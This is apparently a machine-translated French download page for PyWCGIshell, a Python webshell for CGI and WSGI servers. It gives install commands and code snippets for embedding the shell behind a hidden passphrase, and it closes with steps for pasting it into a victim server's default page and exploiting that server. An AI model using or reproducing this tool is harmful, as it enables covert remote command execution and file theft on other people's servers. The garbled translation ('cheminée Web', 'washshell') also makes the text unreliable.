PyWCGIshell Téléchargement - PyWCGIshell Source Code Download

PyWCGIshell

Code Source AI

1.0.0

Télécharger

Pywcgishell

Description

Ce package implémente un webshell pour le serveur CGI et WSGI.

Avec cette cheminée Web, vous pouvez:

Explorer les répertoires et télécharger des fichiers
Exécuter les lignes de commande (avec l'historique des commandes)
Afficher les informations de base sur le serveur d'environnement
Afficher les variables des environnements

Exigences

Ce package nécessite:

python3
bibliothèque standard Python3

Installation

pip install PyWCGIshell

Usages

Ligne de commande

(La ligne de commande est utile pour essayer la cote de Web)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Script python

Page CGI

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

Page WSGI

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function

Options de cote

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

Je ne recommande pas d'utiliser method comme pass_type pour masquer votre washshell.

Vous pouvez utiliser une configuration similaire pour masquer votre volet Web.

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

Pour utiliser cette cheminée Web:

Configurez (type de serveur, phrase de passe et emplacement en phrase de passe) et copiez le code de coque en ligne ou installez-le
Collez-le dans la page par défaut du serveur de victime ou importez-le
Envoyez une demande avec la phrase secrète et exploitez le serveur faible